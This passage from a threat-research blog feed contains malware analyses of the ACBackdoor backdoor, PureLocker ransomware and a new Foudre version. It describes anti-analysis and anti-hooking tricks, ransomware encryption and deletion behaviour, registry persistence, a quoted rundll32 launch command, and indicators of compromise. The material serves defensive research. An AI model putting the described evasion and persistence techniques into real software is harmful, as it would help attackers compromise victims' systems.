&lt;figcaption&gt;Control flow graph similarities on command handling across samples&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;As previously mentioned, the info command is really the first point of contact
between the client and the CNC.&lt;/p&gt;
&lt;p&gt;The run command is intended to run arbitrary shell commands. The execute
command is capable of executing a given binary in the compromised host, and the
update command updates the client itself.&lt;/p&gt;
&lt;p&gt;These commands vary in implementation between the different instances of this
malware. However, an additional hint may indicate the authors behind this
malware have more experience writing Linux malware. This can be found by
examining the implementation of the execute command.&lt;/p&gt;
&lt;p&gt;In the Windows instance, this command is implemented via CreateFile and
CreateProcess Win32 API functions. In Linux, a combination of memfd_create,
fork, and execveat system calls are used:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig13.png" title="Execute command implementation across ACBackdoor samples" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Execute command implementation across ACBackdoor samples&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;At first glance, the implementations of these execute commands may not seem to
be much different from each other in terms of functionality. However, it’s
important to highlight that the Linux instance implementation does provide a
means to execute fileless code. This is not the case with the Windows
implementation.&lt;/p&gt;
&lt;p&gt;These specific details along with the analysis above have led us to conclude
that the authors behind ACBackdoor are more comfortable operating in Linux
systems, while they may currently be experimenting in Windows by porting their
malware to this system.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We have covered the technical analysis of this multi-platform malware which we
have named ACBackdoor. After further analysis of the Windows instance we have
gotten a sense that the authors behind ACBackdoor have a lack of experience in
writing Windows malware.&lt;/p&gt;
&lt;p&gt;In addition, we have identified some strings belonging to the Linux version
which are also present in the Windows instance of ACBackdoor, implying that the
Linux version was likely written before the Windows version.&lt;/p&gt;
&lt;p&gt;Apart from having a lower detection rate, the Linux version is overall similar
in logic to the Windows variant. The Linux implant has noticeably been written
better than the Windows implant, highlighting the implementation of the
persistence mechanism along with the different backdoor commands and additional
features not seen in the Windows version such as independent process creation
and process renaming.&lt;/p&gt;
&lt;p&gt;We can assess with high confidence that this threat group has experience
developing Linux-based malware. Because there is no attributable information
documented on this backdoor, there is a possibility that some known Linux-based
threat group is updating its toolset.&lt;/p&gt;
&lt;p&gt;In addition, this is further evidence that Linux variants have consistently
lower detection rates than Windows.&lt;/p&gt;
&lt;p&gt;The binary code from both ACBackdoor implants have been indexed in Intezer
Analyze. Users can now detect and classify Linux and Windows variants of this
threat by uploading their suspicious file(s) or scanning the code running in
their endpoint via &lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=acbackdoor-analysis-of-a-new-multiplatform-backdoor&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/"target="_blank" rel="noopener"&gt;analyze.intezer.com&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;5d51dbf649d34cd6927efdb6ef082f27a6ccb25a92e892800c583a881bbf9415
907e1dfde652b17338d307b6a13a5af7a8f6ced93a7a71f7f65d40123b93f2b8
193[.]29[.]15[.]147
185[.]198[.]56[.]53&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>PureLocker: New Ransomware-as-a-Service Being Used in Targeted Attacks Against Servers</title><link>https://research.intezer.com/blog/2019/11/purelocker-ransomware-being-used-in-targeted-attacks-against-servers/</link><pubDate>Tue, 12 Nov 2019 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2019/11/purelocker-ransomware-being-used-in-targeted-attacks-against-servers/</guid><description>
&lt;p&gt;&lt;em&gt;Analysis by Intezer and IBM X-Force points its origins to a
Malware-as-a-Service (MaaS) provider utilized by the Cobalt Gang and FIN6
attack groups&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;This is a mutual research between Intezer and IBM&amp;rsquo;s X-Force IRIS team&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;We have found a new and undetected ransomware threat that is being used for
targeted attacks against production servers of enterprises. Using code reuse
analysis, we discovered this threat is closely related to the &amp;ldquo;more_eggs&amp;rdquo;
backdoor malware, which is sold on the dark web by a veteran
&lt;a href="https://medium.com/@quoscient/golden-chickens-uncovering-a-malware-as-a-service-maas-provider-and-two-new-threat-actors-using-61cf0cb87648"target="_blank" rel="noopener"&gt;MaaS provider&lt;/a&gt;
and has been used by the Cobalt Gang, FIN6, and other threat groups.&lt;/p&gt;
&lt;p&gt;While the samples we analyzed are for the Windows platform, we have noticed
that the group operating this ransomware is also employing a Linux variant in
order to attack the Linux infrastructure of its targets.&lt;/p&gt;
&lt;p&gt;We have named this ransomware PureLocker because it&amp;rsquo;s written in the PureBasic
programming language. As part of our analysis, we have identified the evasion
methods and design features that have allowed this ransomware to remain under
the radar for several months. Below we present our findings through a technical
analysis of the malware samples.&lt;/p&gt;
&lt;h2&gt;Initial Analysis&lt;span class="hx:absolute hx:-mt-20" id="initial-analysis"&gt;&lt;/span&gt;
&lt;a href="#initial-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The Windows sample we analyzed is a 32-bit DLL, masquerading as a C++
cryptography library called &lt;a href="https://www.cryptopp.com/"target="_blank" rel="noopener"&gt;Crypto++&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/11/purelocker-ransomware-being-used-in-targeted-attacks-against-servers/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;In viewing the exports section we quickly noticed that something was unusual,
as the library supposedly contains functions related to music playback.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/11/purelocker-ransomware-being-used-in-targeted-attacks-against-servers/images/fig2.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;When looking at anti-virus vendor scan results in VirusTotal, we observed that
the file has been essentially undetected for more than three weeks now, which
is quite rare for a malicious file:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/11/purelocker-ransomware-being-used-in-targeted-attacks-against-servers/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Additionally, when we executed this file in several sandbox environments it
didn&amp;rsquo;t exhibit any malicious or suspicious behaviors.&lt;/p&gt;
&lt;p&gt;However, after genetically analyzing the file in Intezer Analyze we made three
key observations:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/11/purelocker-ransomware-being-used-in-targeted-attacks-against-servers/images/fig4.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;There is no Crypto++ code connection here, meaning the sample is not a
Crypto++ library.&lt;/li&gt;
&lt;li&gt;The file contains reused code from several malware families, mainly from
Cobalt Gang binaries. This means the file is malicious and may have
relations to Cobalt Gang.&lt;/li&gt;
&lt;li&gt;The majority of the relevant code in this file is unique, indicating that
it&amp;rsquo;s likely a new or highly modified malware. A Closer Look&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;A closer look reveals this file is a ransomware written in the
&lt;a href="https://www.purebasic.com/"target="_blank" rel="noopener"&gt;PureBasic programming language&lt;/a&gt;, a rather uncommon
programming language. This unusual choice poses advantages for the attacker. AV
vendors have trouble generating reliable detection signatures for PureBasic
binaries. In addition, PureBasic code is portable between Windows, Linux, and
OS-X, making targeting different platforms easier.&lt;/p&gt;
&lt;p&gt;The malware is designed to be executed as a COM server DLL by regsrv32.exe,
which will invoke the DllRegisterServer export, where the malware&amp;rsquo;s code
resides. All of the other, music related, exports have no functionality and are
included in the ransomware for deception only.&lt;/p&gt;
&lt;p&gt;The malware&amp;rsquo;s strings are encoded and stored as Unicode hex strings. Each
string is decoded on demand by calling a string decoding function.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/11/purelocker-ransomware-being-used-in-targeted-attacks-against-servers/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The malware&amp;rsquo;s code begins by checking if it was executed as intended by the
attackers, and that it&amp;rsquo;s not being analyzed or debugged. If any of these checks
fail, the malware will exit immediately, without deleting itself, likely as an
anti-analysis method not to raise suspicion. The main function flow graph is
presented below:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/purelocker-ransomware-being-used-in-targeted-attacks-against-servers/images/fig6.png" title="Overview of main payload function" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Overview of main payload function&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;In case the malware&amp;rsquo;s payload is executed, the malware will delete itself
immediately afterwards.&lt;/p&gt;
&lt;h2&gt;Part of a Targeted Attack Chain&lt;span class="hx:absolute hx:-mt-20" id="part-of-a-targeted-attack-chain"&gt;&lt;/span&gt;
&lt;a href="#part-of-a-targeted-attack-chain" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;There are several hints suggesting that this component is part of a targeted
and multi-stage attack. The malware begins by checking whether it was executed
with the &lt;code&gt;/s /i&lt;/code&gt; arguments, which instructs regsrv32.exe to install the DLL
component without raising any dialogues (silent):&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/11/purelocker-ransomware-being-used-in-targeted-attacks-against-servers/images/fig7.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Later on the malware verifies that it&amp;rsquo;s indeed executed by &lt;code&gt;regsrv32.exe&lt;/code&gt;, and
that its file extension is either &lt;code&gt;.dll&lt;/code&gt; or &lt;code&gt;.ocx&lt;/code&gt;. It also verifies that the
current year on the machine is 2019, and that it has administrator rights. As
mentioned, if any of these checks fail, the malware will exit without
performing any malicious activity, likely in an attempt to conceal its
functionality.&lt;/p&gt;
&lt;p&gt;This type of behavior is not common in ransomware, which typically prefer to
infect as many victims as possible in the hopes of gaining as much profit as
possible. Additionally, being a DLL file designed to be executed in a very
specific manner reveals this ransomware is a later-stage component of a
multi-stage attack.&lt;/p&gt;
&lt;h2&gt;Evasion and Anti-Analysis Techniques&lt;span class="hx:absolute hx:-mt-20" id="evasion-and-anti-analysis-techniques"&gt;&lt;/span&gt;
&lt;a href="#evasion-and-anti-analysis-techniques" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Uncharacteristically for a ransomware, the malware uses an anti-hooking
technique by manually loading another copy of &amp;ldquo;ntdll.dll&amp;rdquo; and resolving API
addresses manually from there. This is an attempt by the malware to evade
user-mode hooking of ntdll functions. While it&amp;rsquo;s a known trick, it&amp;rsquo;s rarely
used in ransomware.&lt;/p&gt;
&lt;p&gt;The imports themselves are stored as 32bit hash values, and the ransomware uses
the familiar resolve-by-hash method to obtain the function addresses.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/11/purelocker-ransomware-being-used-in-targeted-attacks-against-servers/images/fig8.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s also worth noting that the
&lt;a href="../../../2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/"&gt;malware uses low level Windows&lt;/a&gt;
API functions in ntdll.dll for most of its functionality—with some exceptions
from kernel32.dll and advapi32.dll—notably for file manipulation. The malware
also does not use the Windows Crypto API functions, instead relying on the
compiled-in purebasic crypto library for its encryption needs, with the
exception of utilizing
&lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-rtlgenrandom"target="_blank" rel="noopener"&gt;SystemFunction036 from advapi32.dll&lt;/a&gt;
(RtlGenRandom) for pseudo-random number generation.&lt;/p&gt;
&lt;h2&gt;Encryption and Ransom Note&lt;span class="hx:absolute hx:-mt-20" id="encryption-and-ransom-note"&gt;&lt;/span&gt;
&lt;a href="#encryption-and-ransom-note" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In the event that all anti-analysis and integrity tests performed by the
malware are satisfied, it proceeds to encrypt the files on the victim&amp;rsquo;s machine
with the standard AES+RSA combination, using a hard-coded RSA key. The
ransomware adds the &lt;code&gt;.CR1&lt;/code&gt; extension for each encrypted file. It encrypts
mostly data files, skipping encryption for executable files according to the
particular file&amp;rsquo;s extension. The ransomware then secure-deletes the original
files in order to prevent recovery. Once the malware has completed the
encryption it leaves a ransom note file on the user&amp;rsquo;s desktop named
&lt;code&gt;YOUR_FILES.txt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/11/purelocker-ransomware-being-used-in-targeted-attacks-against-servers/images/fig9.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s worth noting that the ransom note does not ask for the payment type or for
the monetary amount inside of the note itself, instead instructing the victim
to contact the attacker via email. The attackers use the anonymous and
encrypted &lt;a href="https://protonmail.com/"target="_blank" rel="noopener"&gt;Proton email service&lt;/a&gt;. Each sample we
analyzed contained a different email address, which might be how the attackers
can link between different victims and their respective decryption keys (each
email corresponds to a specific RSA key pair). This is further evidence that
this threat is different from typical forms of ransomware.&lt;/p&gt;
&lt;p&gt;Another element to note is the &lt;code&gt;CR1&lt;/code&gt; string, which appears in the attacker
email addresses, the encrypted file extension, and ransom note. Since this is a
RaaS, we believe this string is most likely the identifier of the group that is
operating these specific samples.&lt;/p&gt;
&lt;h2&gt;Code Connections and Origin&lt;span class="hx:absolute hx:-mt-20" id="code-connections-and-origin"&gt;&lt;/span&gt;
&lt;a href="#code-connections-and-origin" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;A deeper examination of the genetic analysis results reveals that the code
reuse connections to Cobalt Gang are related to a specific component used by
the group in its attack chain,
&lt;a href="http://blog.morphisec.com/cobalt-gang-2.0"target="_blank" rel="noopener"&gt;described here by Morphisec&lt;/a&gt; as the
Stage 3 Dropper DLL. More specifically, this component is the loader part of
the &amp;ldquo;more_eggs&amp;rdquo; JScript backdoor, also known as &amp;ldquo;SpicyOmelette&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;Last year,
&lt;a href="https://medium.com/@quoscient/golden-chickens-uncovering-a-malware-as-a-service-maas-provider-and-two-new-threat-actors-using-61cf0cb87648"target="_blank" rel="noopener"&gt;QuoScient uncovered&lt;/a&gt;
that Cobalt Gang had been buying its malware kits from a malware-as-a-service
(MaaS) provider on underground cybercrime forums. QuoScient also observed two
additional threat groups using the same MaaS kits in their operations,
including the &amp;ldquo;more_eggs&amp;rdquo; backdoor.&lt;/p&gt;
&lt;p&gt;Most recently, IBM X-Force has
&lt;a href="https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/"target="_blank" rel="noopener"&gt;uncovered several campaigns by FIN6&lt;/a&gt;
(also known as ITG08) where they observed heavy usage of the &amp;ldquo;more_eggs&amp;rdquo;
malware kit.&lt;/p&gt;
&lt;p&gt;A comparison between the PureLocker ransomware samples and recent more_eggs
loader samples reveals it&amp;rsquo;s extremely likely that they were created by the same
author. The lines of similarity are evident:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;COM Server DLL components written in PureBasic&lt;/li&gt;
&lt;li&gt;Nearly identical pre-payload stage in both functionality and code, with
identical evasion and anti-analysis methods&lt;/li&gt;
&lt;li&gt;Identical string encoding and decoding methods&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/purelocker-ransomware-being-used-in-targeted-attacks-against-servers/images/fig10.png" title="COM Server DLL components written in PureBasic" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;COM Server DLL components written in PureBasic&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;These findings strongly suggest that the MaaS provider of &amp;ldquo;more_eggs&amp;rdquo; has added
a new malware kit to its offerings, by modifying the &amp;ldquo;more_eggs&amp;rdquo; loader&amp;rsquo;s
payload from a JScript backdoor to a ransomware.&lt;/p&gt;
&lt;p&gt;While we have a good sense regarding the malware&amp;rsquo;s origin, it&amp;rsquo;s unclear at this
time whether the &amp;ldquo;CR1&amp;rdquo; group that&amp;rsquo;s using this ransomware for targeted attacks
is a previous customer of the MaaS provider, such as Cobalt Gang and FIN6, or a
new one.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;PureLocker is a rather unorthodox ransomware. Instead of trying to infect as
many victims as possible, it was designed to conceal its intentions and
functionalities unless executed in the intended manner. This approach has
worked well for the attackers who have managed to successfully use it for
targeted attacks, while remaining undetected for several months.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s interesting to note that the code of the evasion and anti-analysis
functionalities described in this blog is directly copied from the &amp;ldquo;more_eggs&amp;rdquo;
backdoor loader. Some of these duplicated features have allowed the ransomware
to stay undetected by evading automated analysis systems. This provides an
example of the importance of code reuse analysis for malware detection and
classification. It twists the usage of any previously used code, even code for
effective evasion and anti-analysis, into a reliable indicator for detection.&lt;/p&gt;
&lt;p&gt;The PureLocker ransomware is now indexed in Intezer&amp;rsquo;s code genome database and
the genetic analysis of its samples
&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=purelocker-ransomware-being-used-in-targeted-attacks-against-servers&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/files/c592c52381d43a6604b3fc657c5dc6bee61aa288bfa37e8fc54140841267338d"target="_blank" rel="noopener"&gt;can be viewed in Intezer Analyze&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Intezer would like to thank IBM&amp;rsquo;s X-Force IRIS team for its collaboration on
this mutual research. For more information, check out
&lt;a href="https://exchange.xforce.ibmcloud.com/collection/New-Ransomware-Available-for-Targeted-Attacks-99c7156cff70e1d8e1687ab7dadc8c0e"target="_blank" rel="noopener"&gt;IBM&amp;rsquo;s X-Force exchange collection related to this threat&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;1fd15c358e2df47f5dde9ca2102c30d5e26d202642169d3b2491b89c9acc0788
c592c52381d43a6604b3fc657c5dc6bee61aa288bfa37e8fc54140841267338d&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Prince of Persia: The Sands of Foudre</title><link>https://research.intezer.com/blog/2018/08/prince-of-persia-the-sands-of-foudre/</link><pubDate>Fri, 17 Aug 2018 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2018/08/prince-of-persia-the-sands-of-foudre/</guid><description>
&lt;h2&gt;Introduction&lt;span class="hx:absolute hx:-mt-20" id="introduction"&gt;&lt;/span&gt;
&lt;a href="#introduction" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In the past couple years, Palo Alto Networks reported on the &amp;ldquo;Prince of Persia&amp;rdquo;
malware campaign which is believed to be of Iranian origin and ongoing for more
than 10 years. The original research, published in 2016, called the malware
&lt;a href="https://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/"target="_blank" rel="noopener"&gt;Infy&lt;/a&gt;
and their second report, published in 2017, named the upgraded malware Foudre.
The name
&amp;ldquo;&lt;a href="https://researchcenter.paloaltonetworks.com/2017/08/unit42-prince-persia-ride-lightning-infy-returns-foudre/"target="_blank" rel="noopener"&gt;Foudre&lt;/a&gt;&amp;rdquo;
comes from a string in the binary used to check if the computer is already
infected. At the time of their blog post, Palo Alto Networks stated the version
of Foudre they observed were versions 1 and 2. We have found new evidence of
the Prince of Persia campaign active by finding a new version of the Foudre
malware, version 8.&lt;/p&gt;
&lt;p&gt;In this blog post, we are only going to focus on the new, unique, interesting
features of the new version of Foudre, and its related campaign&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/08/prince-of-persia-the-sands-of-foudre/images/fig1.png" title="Internal version name of Foudre v8" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Internal version name of Foudre v8&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;No to The Forced Hijab&lt;span class="hx:absolute hx:-mt-20" id="no-to-the-forced-hijab"&gt;&lt;/span&gt;
&lt;a href="#no-to-the-forced-hijab" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Similarly to the samples noted in previous reports, this new malware also comes
packaged in a WinRAR SFX archive including multiple malicious binaries and a
media file. The media file in this case is a video in the MP4 format showing a
woman in Iran walking around and at the end pulling off her hijab. In the
video, there is text written in Farsi with a hashtag, بنه به حجاب اجباری#,
literally translating to &amp;ldquo;no to the forced hijab.&amp;rdquo; This hashtag is in reference
to protesters in Iran who are protesting the mandatory use of the hijab for
women and the video is meant to distract the victim while the Foudre malware
gets installed in the background.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/08/prince-of-persia-the-sands-of-foudre/images/fig2.png" title="Screenshot from the video bundled in the malware" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Screenshot from the video bundled in the malware&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Foudre is a remote access tool and has the ability to remotely execute
commands, steal information about the infected target (such as keystrokes,
process information, etc), and auto-update itself. Most of the code and
functionality from the previous versions of Foudre and Infy was reused and can
be read about in the reports linked above, so we are only going to focus on the
new, unique, interesting features and the linkage of code reuse from previous
versions.&lt;/p&gt;
&lt;h2&gt;Code Reuse&lt;span class="hx:absolute hx:-mt-20" id="code-reuse"&gt;&lt;/span&gt;
&lt;a href="#code-reuse" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;After uploading the WinRAR SFX to Intezer Analyze™, the files inside were
statically extracted which reveals 3 binaries, a lockbox3 signature, and the
video mentioned above.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2018/08/prince-of-persia-the-sands-of-foudre/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Using our new Show Code feature, we can see code overlapping with Foudre and
Infy.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/08/prince-of-persia-the-sands-of-foudre/images/fig4.png" title="Code overlap with Foudre" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Code overlap with Foudre&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/08/prince-of-persia-the-sands-of-foudre/images/fig5.png" title="Code overlap with Infy" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Code overlap with Infy&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;New Features/Changes&lt;span class="hx:absolute hx:-mt-20" id="new-featureschanges"&gt;&lt;/span&gt;
&lt;a href="#new-featureschanges" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;First of all, the main binary of the upgraded Foudre malware is mostly
undetected on
&lt;a href="https://www.virustotal.com/#/file/c7279a32329ebb1ab5c1cdbfbddb5a167e1505340c3ca72e837a222ff92665a6/detection"target="_blank" rel="noopener"&gt;VirusTotal&lt;/a&gt;
with only 3/67 detections.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2018/08/prince-of-persia-the-sands-of-foudre/images/fig6.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;In the latest version of Foudre, there are 2 modules. One of the modules
(i7234.dll) has the export &amp;ldquo;D1&amp;rdquo; and the other module (d388) exports &amp;ldquo;D2&amp;rdquo; as a
function. We are going to refer to the different binaries based on their
exports, D1 and D2. The third binary never gets launched and is still under
investigation. We will release more details about it on a further date. The
WinRAR SFX and D1 module only get executed once. The following features/changes
are spread across the WinRAR SFX, D1, and D2:&lt;/p&gt;
&lt;p&gt;WinRAR SFX Dropper:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WinRAR SFX has icon of girl with hijab from video&lt;/li&gt;
&lt;li&gt;Extracts files&lt;/li&gt;
&lt;li&gt;Launches D1 (&lt;code&gt;i7234.dll&lt;/code&gt;) with rundll32 and executes export D1&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;D1:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;D1 executes the mp4 file&lt;/li&gt;
&lt;li&gt;Checks if finds a window &amp;ldquo;TNRRDPKE2&amp;rdquo; means it’s already running&lt;/li&gt;
&lt;li&gt;Copies D2 and key to &lt;code&gt;%APPDATA%&lt;/code&gt; with filenames a.n and p.k and creates a
shortcut in the folder named &amp;ldquo;an.lnk&amp;rdquo;
&lt;code&gt;C:\WINDOWS\system32\rundll32.exe a.n D2 838238125&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Deletes these files from TEMP folder&lt;/li&gt;
&lt;li&gt;Stores name of D2 (a.n) in &lt;code&gt;HKEY_CURRENT_USER\Software\temp&lt;/code&gt; in key called
&amp;ldquo;ran2&amp;rdquo;&lt;/li&gt;
&lt;li&gt;Checks &lt;code&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt; for
SnailDriver&lt;/li&gt;
&lt;li&gt;Creates autorun for an.lnk&lt;/li&gt;
&lt;li&gt;Checks for &lt;code&gt;%PROGRAMFILES%\Kaspersky Lab&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Launches D2 with rundll32 &lt;code&gt;C:\WINDOWS\system32\rundll32.exe a.n D2 838238125&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;D2 has mostly the same features as reported in the older versions of Foudre but
this table shows the main changes:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Foudre&lt;/th&gt;
&lt;th&gt;Version 2&lt;/th&gt;
&lt;th&gt;Version 8&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Browser Stealer Support&lt;/td&gt;
&lt;td&gt;Microsoft Edge, Internet Explorer, Mozilla Firefox and, Google Chrome&lt;/td&gt;
&lt;td&gt;Opera, Microsoft Edge, Internet Explorer, Mozilla Firefox and, Google Chrome&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
